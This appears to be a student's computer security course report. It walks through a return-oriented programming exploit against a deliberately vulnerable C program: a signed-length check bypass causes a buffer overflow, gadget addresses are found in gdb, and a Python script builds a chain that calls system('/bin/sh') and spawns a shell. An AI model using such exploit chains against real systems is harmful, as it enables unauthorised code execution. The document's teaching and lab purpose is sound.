NUS CS-3235: Computer Security October 17, 2020

Assignment 2 Report - Part 3

Lecturer: Reza Shokri *Student: Tan Wei, Adam A0180277B*

1 Return Oriented Programming

- By looking at the code, the first step to overflow buffer and start our ROP exploit is to by pass the length check. We can do this by setting i to a negative number, it will pass the check and when it is cast into size_t which is an unsigned integer it underflows and becomes a large number, enabling us to read in the entirety of the exploit file.

```c
#include <stdio.h>
#include <stdlib.h>

void rop(FILE *f)
{
    char buf[24];
    long i, fsize, read_size;

    puts("How many bytes do you want to read? (max: 24)");
    scanf("%ld", &i);

    if (i > 24) {
        puts("You can't trick me...");
        return;
    }

    fseek(f, 0, SEEK_END);
    fsize = ftell(f);
    fseek(f, 0, SEEK_SET);

    read_size = (size_t) i < (size_t) fsize ? i : fsize;
    fread(buf, 1, read_size, f);
    fclose(f);

    puts(buf);
}

int main(void)
{
    FILE *f = fopen("./exploit", "r");
    setbuf(f, 0);
    if (!f)
        puts("Error opening ./exploit");
    else
        rop(f);
    return 0;
}
```

- Next is to find the return address of the rop function, we create a break point before it returns and see that it is 48 bytes after buf, so know we can pad buf with 48 arbitrary bytes and set our return address.

- All we have to do next is find our gadgets and construct our program.
  - We find a "pop rdi; ret" gadget by using asmsearch

```
gdb-peda$ asmsearch "pop rdi; ret"
Searching for ASM code: 'pop rdi; ret' in: binary ranges
0x004008c3 : (5fc3)     pop    rdi;     ret
```

  - We find the "/bin/sh", "system", and "exit" files using find

```
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7b99e17 --> 0x68732f6e69622f ('/bin/sh')
```

- We then construct the payload using our obtained values using a python script.

```
def pack64(n):
        s = ""
        while n:
                s += chr(n % 0x100)
                n = n / 0x100
        s = s.ljust(8, "\x00")
        return s

f = open("./exploit", "w")
payload = ""
payload += "A"*8*6
payload += pack64(0x00)
payload += pack64(0x004008c3) #pop rdi
payload += pack64(0x7ffff7b99e17) #binsh
payload += pack64(0x7ffff7a523a0) #system
payload += pack64(0x7ffff7a47040) #exit


f.write(payload)
f.close()
```

- Running the program with an input "-1" runs our exploit and gives us access to a shell within the rop process.

```
student@student-VirtualBox:~/Desktop/a2/rop$ python sample.py
student@student-VirtualBox:~/Desktop/a2/rop$ ./rop
How many bytes do you want to read? (max: 24)
-1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ ls
exploit  Makefile               peda-session-rop.txt  rop.c
in       peda-session-dash.txt  rop                   sample.py
$
```